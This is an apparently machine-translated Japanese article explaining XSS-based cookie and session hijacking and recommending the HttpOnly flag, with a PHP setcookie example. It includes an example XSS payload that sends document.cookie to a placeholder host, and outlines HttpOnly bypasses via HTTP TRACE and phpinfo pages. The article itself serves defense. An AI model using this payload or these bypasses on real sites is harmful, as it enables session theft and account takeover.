wwwサービスの台頭に伴い、多くのアプリケーションがB/S構造へと移行し、1つのブラウザで多様なウェブサービスにアクセスできるようになっていますが、これがますます多くのウェブセキュリティ問題を引き起こしています。 wwwサービスはHttpプロトコルに依存しており、Httpはステートレスプロトコルであるため、セッション間で情報を渡すためにはクッキーやセッション、その他の技術を使って訪問者の状態をマークすることが避けられません。クッキーであれセッションであれ、一般的にクッキーを用いて実装されます(セッションは実際にはブラウザのクッキー内でトークンでマークされます。 サーバーはこのトークンを取得し、正当性を確認し、サーバーに保存された対応する状態をブラウザにバインドします。つまり、このクッキーが入手されている限り、他の者の身元を入手できるため、侵入者にとっては素晴らしいことです。特に管理者のような高特権の人物のものであれば、被害はさらに大きいのです。 さまざまなウェブセキュリティ問題の中でも、XSSの脆弱性は特に危険です。
アプリケーションの場合、一度XSSの脆弱性が発生すると、他の人があなたのブラウザ上で任意のJSスクリプトを実行できるようになります。また、アプリケーションがオープンソースであったり、関数が公開されている場合、他の人がAjaxを使ってこれらの関数を使うこともできますが、特に他人の身元をカジュアルに取得したい場合、そのプロセスはしばしば煩雑です。 オープンソースでないアプリケーション、例えば大規模サイトのウェブバックグラウンド(web2.0の大きな特徴の一つは大量のインタラクションであり、ユーザーはバグ報告や情報配信など、管理者とバックグラウンドでやり取りする必要があることが多い)では、インタラクションが存在するためサイト間スクリプトの脆弱性があるかもしれませんが、バックグラウンドの理解が不足しているため、完璧なAJAXコードを構築することは不可能です。たとえjsでバックグラウンドコードを取得し、分析のために返すことができても、そのプロセスは煩雑で隠しきれていません。 現時点では、xssの脆弱性を利用してクッキーやセッションハイジャックを取得し、アプリケーションの認証を分析し、特定の手法を用いて、さらには相手がプログラムを終了しても相手の身元を永久に取得することが非常に効果的です。
では、クッキーやセッションハイジャックをどうやって起こすのでしょうか? ブラウザのドキュメントオブジェクトにはクッキー情報が保存されており、jsを使って取得できます。このクッキーを入手すれば、他人の身元を取得できます。 典型的なXSS攻撃文は以下の通りです:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
一部のアプリケーションは、この問題に対処するためにブラウザバインド技術を採用することがあり、例えばクッキーをブラウザのユーザーエージェントにバインドし、発見されるとクッキーを無効とみなすことがあります。 しかしこの方法は効果的でないことが判明しました。なぜなら、侵入者がクッキーを盗む際に同時にユーザーエージェントを手に入れているからです。 また、クッキーをRemote-addrにバインドする厳格な方法もあります(実際にはIPに割り当てられていますが、一部のプログラムはIP取得方法に問題があり、それも回避性につながります)。しかし、これはユーザー体験が非常に悪く、IPの変更が一般的で、例えば職場と自宅は2つのIPなので、この方法はあまり採用されません。 そのため、クッキーベースの攻撃は非常に人気があり、一部のWeb 2.0サイトではアプリケーションの管理者ステータスを簡単に取得できます。
どうやって敏感なクッキーを安全に守ればいいのでしょうか? 上記の分析を通じて、一般的なクッキーはドキュメントオブジェクトから取得され、ブラウザのドキュメント内でセンシティブなクッキーを見えなくするだけでよいのです。 幸いなことに、現在ではブラウザは一般的にHttpOnlyというパラメータをクッキー設定時に受け入れており、ドメインなど他のパラメータと同様に、一度設定するとブラウザのドキュメントオブジェクトにクッキーが表示されず、ブラウザの閲覧時にも影響を受けません。なぜならクッキーはブラウザのヘッダー(ajaxを含む)で送信されるからです。 アプリケーションは一般的にこれらのセンシティブなクッキーをjsで操作しません。一部のセンシティブクッキーにはHttpOnlyを使用し、またアプリケーション内でjsで操作する必要があるクッキーは設定しません。これによりクッキー情報のセキュリティが確保され、アプリケーションも安全になります。 HttpOnlyの詳細については、http://msdn2.microsoft.com/en-us/library/ms533046.aspx をご覧ください。
ブラウザでクッキーを設定するためのヘッダーは以下の通りです:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
phpを例にすると、php 5.2のSetcookie関数にHttpOnlyのサポートが追加されました。例えば:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
abcクッキーをHttpOnlyに設定すると、このクッキーには文書が表示されません。 setcookie関数は本質的にヘッダーなので、HttpOnlyを設定するためにヘッダーを使うこともできます。 その後、document.cookieを使ってこのクッキーが利用できなくなったことを確認できます。 この方法を使ってSessionidを保護するために、認証用の認証クッキーなども含めており、身元情報の取得を心配する必要がなくなり、これは一部のバックグラウンドプログラムやウェブメールのセキュリティ向上に非常に重要です。 上記の攻撃手法を再度使うと、HttpOnlyとして設定したセンシティブなクッキーを入手できなくなることがわかります。
しかし、HttpOnlyは全能ではないことも分かります。まず第一に、xssの問題を解決できず、忍耐強いハッカーの攻撃にも抵抗できず、侵入者がAJAX投稿を行うのを防ぐこともできません。さらに、xssベースのプロキシも登場していますが、攻撃の閾値を上げることは可能であり、少なくともxss攻撃はすべてのスクリプトキッドが完了するわけではなく、他の攻撃手法は環境的・技術的制約によるものです。 クッキー盗みほど一般的ではありません。
HttpOnlyは脆弱性を悪用したり、バイパスを設定したりもできますが、重要な問題はブラウザからクッキーヘッダーを受信できればいいということです。 例えば、以前のHttp Trace攻撃では、あなたのヘッダーにクッキーを返すことができますが、この攻撃はajaxやflash(こちらもajaxやflashでパッチが当てられている)を使うことで完了できます。 設定やアプリケーションのバイパスのもう一つの注目すべき例はphpinfoです。ご存知の通り、phpinfoはブラウザから送信されるHTTPヘッダーを表示し、認証情報も含めて保護します。このページは様々なサイトに存在します。AJAXを使ってphpinfoページを取得し、ヘッダーに対応する部分を外してクッキーを取得します。 一部のアプリケーションでの不完全さはヘッダーのリーキー(漏洩)を引き起こすこともあり、これは基本的な検証で保護されたページと同様に攻撃されることがあります。
HttpOnlyはIE6以降でよりよくサポートされており、Hotmailなどのアプリケーションで広く使われており、比較的良好なセキュリティ成果を達成しています。
|
掲載地 2015/06/03 20:57:48
|
|
|
